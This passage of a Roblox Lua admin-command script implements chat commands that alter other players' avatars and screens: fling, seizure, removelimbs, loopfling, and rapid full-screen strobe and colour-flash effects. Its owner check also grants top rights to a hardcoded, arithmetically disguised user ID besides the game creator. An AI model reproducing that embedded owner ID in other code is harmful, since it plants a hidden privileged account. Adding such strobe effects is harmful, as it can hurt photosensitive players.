local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1705
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1706
until not bg or bg.Parent ~= torso
1707
end
1708
end))
1709
end
1710
end
1711
1712
if msg:lower():sub(1,7) == "unspin " then
1713
local plrz = GetPlr(plr, msg:lower():sub(8))
1714
for i, v in pairs(plrz) do
1715
coroutine.resume(coroutine.create(function()
1716
if v and v.Character and v.Character:findFirstChild("Torso") then
1717
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1718
end
1719
end))
1720
end
1721
end
1722
1723
if msg:lower():sub(1,4) == "dog " then
1724
local plrz = GetPlr(plr, msg:lower():sub(5))
1725
for i, v in pairs(plrz) do
1726
coroutine.resume(coroutine.create(function()
1727
if v and v.Character and v.Character:findFirstChild("Torso") then
1728
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1729
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1730
v.Character.Torso.Transparency = 1
1731
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1732
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1733
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1734
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1735
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1736
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1737
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1738
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1739
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1740
end
1741
end))
1742
end
1743
end
1744
1745
if msg:lower():sub(1,6) == "undog " then
1746
local plrz = GetPlr(plr, msg:lower():sub(7))
1747
for i, v in pairs(plrz) do
1748
coroutine.resume(coroutine.create(function()
1749
if v and v.Character and v.Character:findFirstChild("Torso") then
1750
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1751
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1752
v.Character.Torso.Transparency = 0
1753
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1754
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1755
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1756
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1757
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1758
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1759
end
1760
end))
1761
end
1762
end
1763
1764
if msg:lower():sub(1,8) == "creeper " then
1765
local plrz = GetPlr(plr, msg:lower():sub(9))
1766
for i, v in pairs(plrz) do
1767
coroutine.resume(coroutine.create(function()
1768
if v and v.Character and v.Character:findFirstChild("Torso") then
1769
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1770
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1771
v.Character.Torso.Transparency = 0
1772
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1773
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1774
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1775
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1776
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1777
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1778
end
1779
end))
1780
end
1781
end
1782
1783
if msg:lower():sub(1,10) == "uncreeper " then
1784
local plrz = GetPlr(plr, msg:lower():sub(11))
1785
for i, v in pairs(plrz) do
1786
coroutine.resume(coroutine.create(function()
1787
if v and v.Character and v.Character:findFirstChild("Torso") then
1788
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1789
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1790
v.Character.Torso.Transparency = 0
1791
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1792
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1793
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1794
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1795
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1796
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1797
end
1798
end))
1799
end
1800
end
1801
1802
if msg:lower():sub(1,8) == "bighead " then
1803
local plrz = GetPlr(plr, msg:lower():sub(9))
1804
for i, v in pairs(plrz) do
1805
coroutine.resume(coroutine.create(function()
1806
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1807
end))
1808
end
1809
end
1810
1811
if msg:lower():sub(1,9) == "minihead " then
1812
local plrz = GetPlr(plr, msg:lower():sub(10))
1813
for i, v in pairs(plrz) do
1814
coroutine.resume(coroutine.create(function()
1815
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1816
end))
1817
end
1818
end
1819
1820
if msg:lower():sub(1,6) == "fling " then
1821
local plrz = GetPlr(plr, msg:lower():sub(7))
1822
for i, v in pairs(plrz) do
1823
coroutine.resume(coroutine.create(function()
1824
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1825
local xran local zran
1826
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1827
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1828
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1829
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1830
end
1831
end))
1832
end
1833
end
1834
1835
if msg:lower():sub(1,8) == "seizure " then
1836
local plrz = GetPlr(plr, msg:lower():sub(9))
1837
for i, v in pairs(plrz) do
1838
coroutine.resume(coroutine.create(function()
1839
if v and v.Character then 
1840
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1841
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1842
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1843
end
1844
end))
1845
end
1846
end
1847
1848
if msg:lower():sub(1,10) == "unseizure " then
1849
local plrz = GetPlr(plr, msg:lower():sub(11))
1850
for i, v in pairs(plrz) do
1851
coroutine.resume(coroutine.create(function()
1852
if v and v.Character then 
1853
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1854
wait(.1) v.Character.Humanoid.PlatformStand = false
1855
end
1856
end))
1857
end
1858
end
1859
1860
if msg:lower():sub(1,12) == "removelimbs " then
1861
local plrz = GetPlr(plr, msg:lower():sub(13))
1862
for i, v in pairs(plrz) do
1863
coroutine.resume(coroutine.create(function()
1864
if v and v.Character then 
1865
for a, obj in pairs(v.Character:children()) do 
1866
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1867
end
1868
end
1869
end))
1870
end
1871
end
1872
1873
if msg:lower():sub(1,5) == "name " then
1874
local chk1 = msg:lower():sub(6):find(" ") + 5
1875
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1876
for i, v in pairs(plrz) do
1877
coroutine.resume(coroutine.create(function()
1878
if v and v.Character and v.Character:findFirstChild("Head") then 
1879
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1880
local char = v.Character
1881
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1882
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1883
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1884
char.Head.Transparency = 1
1885
end
1886
end))
1887
end
1888
end
1889
1890
if msg:lower():sub(1,7) == "unname " then
1891
local plrz = GetPlr(plr, msg:lower():sub(8))
1892
for i, v in pairs(plrz) do
1893
coroutine.resume(coroutine.create(function()
1894
if v and v.Character and v.Character:findFirstChild("Head") then 
1895
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1896
end
1897
end))
1898
end
1899
end
1900
1901
if msg:lower():sub(1,5) == "char " then
1902
local chk1 = msg:lower():sub(6):find(" ") + 5
1903
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1904
for i, v in pairs(plrz) do
1905
coroutine.resume(coroutine.create(function()
1906
if v and v.Character then 
1907
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1908
v:LoadCharacter()
1909
end
1910
end))
1911
end
1912
end
1913
1914
if msg:lower():sub(1,7) == "unchar " then
1915
local plrz = GetPlr(plr, msg:lower():sub(8))
1916
for i, v in pairs(plrz) do
1917
coroutine.resume(coroutine.create(function()
1918
if v and v.Character then 
1919
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1920
v:LoadCharacter()
1921
end
1922
end))
1923
end
1924
end
1925
1926
if msg:lower():sub(1,7) == "infect " then
1927
local plrz = GetPlr(plr, msg:lower():sub(8))
1928
for i, v in pairs(plrz) do
1929
coroutine.resume(coroutine.create(function()
1930
if v and v.Character then
1931
Infect(v.Character)
1932
end
1933
end))
1934
end
1935
end
1936
1937
if msg:lower():sub(1,11) == "rainbowify " then
1938
local plrz = GetPlr(plr, msg:lower():sub(12))
1939
for i, v in pairs(plrz) do
1940
coroutine.resume(coroutine.create(function()
1941
if v and v.Character and v.Character:findFirstChild("Torso") then 
1942
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1943
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1944
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1945
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1946
cl.Parent = v.Character cl.Disabled = false
1947
end
1948
end))
1949
end
1950
end
1951
1952
if msg:lower():sub(1,9) == "flashify " then
1953
local plrz = GetPlr(plr, msg:lower():sub(10))
1954
for i, v in pairs(plrz) do
1955
coroutine.resume(coroutine.create(function()
1956
if v and v.Character and v.Character:findFirstChild("Torso") then 
1957
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1958
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1959
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1960
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1961
cl.Parent = v.Character cl.Disabled = false
1962
end
1963
end))
1964
end
1965
end
1966
1967
if msg:lower():sub(1,8) == "noobify " then
1968
local plrz = GetPlr(plr, msg:lower():sub(9))
1969
for i, v in pairs(plrz) do
1970
coroutine.resume(coroutine.create(function()
1971
if v and v.Character then
1972
Noobify(v.Character)
1973
end
1974
end))
1975
end
1976
end
1977
1978
if msg:lower():sub(1,9) == "ghostify " then
1979
local plrz = GetPlr(plr, msg:lower():sub(10))
1980
for i, v in pairs(plrz) do
1981
coroutine.resume(coroutine.create(function()
1982
if v and v.Character and v.Character:findFirstChild("Torso") then 
1983
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1984
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1985
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1986
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1987
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1988
if prt.Name:find("Leg") then prt.Transparency = 1 end
1989
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1990
end end
1991
end
1992
end))
1993
end
1994
end
1995
1996
if msg:lower():sub(1,8) == "goldify " then
1997
local plrz = GetPlr(plr, msg:lower():sub(9))
1998
for i, v in pairs(plrz) do
1999
coroutine.resume(coroutine.create(function()
2000
if v and v.Character and v.Character:findFirstChild("Torso") then 
2001
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2002
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2003
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2004
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2005
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
2006
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
2007
end end
2008
end
2009
end))
2010
end
2011
end
2012
2013
if msg:lower():sub(1,6) == "shiny " then
2014
local plrz = GetPlr(plr, msg:lower():sub(7))
2015
for i, v in pairs(plrz) do
2016
coroutine.resume(coroutine.create(function()
2017
if v and v.Character and v.Character:findFirstChild("Torso") then 
2018
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2019
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2020
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2021
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2022
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2023
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2024
end end
2025
end
2026
end))
2027
end
2028
end
2029
2030
if msg:lower():sub(1,7) == "normal " then
2031
local plrz = GetPlr(plr, msg:lower():sub(8))
2032
for i, v in pairs(plrz) do
2033
coroutine.resume(coroutine.create(function()
2034
if v and v.Character and v.Character:findFirstChild("Torso") then
2035
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
2036
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2037
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2038
v.Character.Torso.Transparency = 0
2039
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2040
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2041
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2042
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2043
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2044
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2045
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2046
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2047
if prt.Name == "FAKETORSO" then prt:Destroy() end
2048
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2049
end end
2050
end
2051
end))
2052
end
2053
end
2054
2055
if msg:lower():sub(1,7) == "trippy " then
2056
local plrz = GetPlr(plr, msg:lower():sub(8))
2057
for i, v in pairs(plrz) do
2058
coroutine.resume(coroutine.create(function()
2059
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2060
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2061
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2062
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2063
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2064
end
2065
end))
2066
end
2067
end
2068
2069
if msg:lower():sub(1,9) == "untrippy " then
2070
local plrz = GetPlr(plr, msg:lower():sub(10))
2071
for i, v in pairs(plrz) do
2072
coroutine.resume(coroutine.create(function()
2073
if v and v:findFirstChild("PlayerGui") then 
2074
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2075
end
2076
end))
2077
end
2078
end
2079
2080
if msg:lower():sub(1,7) == "strobe " then
2081
local plrz = GetPlr(plr, msg:lower():sub(8))
2082
for i, v in pairs(plrz) do
2083
coroutine.resume(coroutine.create(function()
2084
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2085
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2086
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2087
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2088
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2089
end
2090
end))
2091
end
2092
end
2093
2094
if msg:lower():sub(1,9) == "unstrobe " then
2095
local plrz = GetPlr(plr, msg:lower():sub(10))
2096
for i, v in pairs(plrz) do
2097
coroutine.resume(coroutine.create(function()
2098
if v and v:findFirstChild("PlayerGui") then 
2099
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2100
end
2101
end))
2102
end
2103
end
2104
2105
if msg:lower():sub(1,6) == "blind " then
2106
local plrz = GetPlr(plr, msg:lower():sub(7))
2107
for i, v in pairs(plrz) do
2108
coroutine.resume(coroutine.create(function()
2109
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2110
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2111
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2112
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2113
end
2114
end))
2115
end
2116
end
2117
2118
if msg:lower():sub(1,8) == "unblind " then
2119
local plrz = GetPlr(plr, msg:lower():sub(9))
2120
for i, v in pairs(plrz) do
2121
coroutine.resume(coroutine.create(function()
2122
if v and v:findFirstChild("PlayerGui") then 
2123
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2124
end
2125
end))
2126
end
2127
end
2128
2129
if msg:lower():sub(1,7) == "guifix " then
2130
local plrz = GetPlr(plr, msg:lower():sub(8))
2131
for i, v in pairs(plrz) do
2132
coroutine.resume(coroutine.create(function()
2133
if v and v:findFirstChild("PlayerGui") then 
2134
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2135
end
2136
end))
2137
end
2138
end
2139
2140
if msg:lower():sub(1,9) == "loopheal " then
2141
local plrz = GetPlr(plr, msg:lower():sub(10))
2142
for i, v in pairs(plrz) do
2143
if v then
2144
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2145
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2146
repeat wait()
2147
coroutine.resume(coroutine.create(function()
2148
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2149
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2150
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2151
end
2152
end))
2153
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2154
end
2155
end
2156
end
2157
2158
if msg:lower():sub(1,11) == "unloopheal " then
2159
local plrz = GetPlr(plr, msg:lower():sub(12))
2160
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2161
end
2162
2163
if msg:lower():sub(1,10) == "loopfling " then
2164
local plrz = GetPlr(plr, msg:lower():sub(11))
2165
for i, v in pairs(plrz) do
2166
if v then
2167
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2168
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2169
repeat
2170
coroutine.resume(coroutine.create(function()
2171
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2172
local xran local zran
2173
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2174
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2175
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2176
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2177
end
2178
end))
2179
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2180
end
2181
end
2182
end
2183
2184
if msg:lower():sub(1,12) == "unloopfling " then
2185
local plrz = GetPlr(plr, msg:lower():sub(13))
2186
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2187
end
2188
	
2189
end
2190
2191
-------------------------
2192
-- True Owner Commands --
2193
-------------------------
2194
2195
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2196
2197
if msg:lower():sub(1,3) == "oa " then
2198
local plrz = GetPlr(plr, msg:lower():sub(4))
2199
for i, v in pairs(plrz) do
2200
coroutine.resume(coroutine.create(function()
2201
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2202
end))
2203
end
2204
end
2205
2206
if msg:lower():sub(1,5) == "unoa " then
2207
for i = 1, #owners do
2208
coroutine.resume(coroutine.create(function()
2209
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2210
end))
2211
end
2212
end
2213
2214
if msg:lower() == "settings" then
2215
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2216
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2217
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2218
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2219
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2220
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2221
